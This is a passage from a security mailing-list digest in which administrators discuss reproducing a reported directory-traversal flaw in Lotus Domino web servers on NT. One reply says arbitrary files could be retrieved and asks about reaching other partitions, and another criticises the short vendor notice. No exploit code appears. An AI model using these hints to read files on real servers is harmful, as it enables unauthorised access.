"Error 0 Forbidden - URL containing .. forbidden [don't try to > break in]" > > Might be a result configuration options in either Domino or NT. Servers > checked have "Allow HTTP clients to browse databases:" set to NO. > > As an aside, I object to announcing such a potentially damaging > vulnerability only 48 hours after the vendor was contacted. > > Thom Dyson > Director of Information Services > Sybex, Inc. > > --- > From: "Philip Wagenaar" <[EMAIL PROTECTED]> > > I have tried the exploit on several Lotus Domoni 5.0.5 web servers but I > wasnt able to reproduce the problem > > --- > From: [EMAIL PROTECTED] > > NT 4 (german) SP5 is vulnerable too, but Dominos below 5.0.4 doesn`t seem > to have this malfunction. > > it was possible to get any file instead of NSFs, any suggestions why? could > it be possible to change the partition? > > > --- > > > > Ben Greenbaum > Director of Site Content > SecurityFocus > http://www.securityfocus.com >
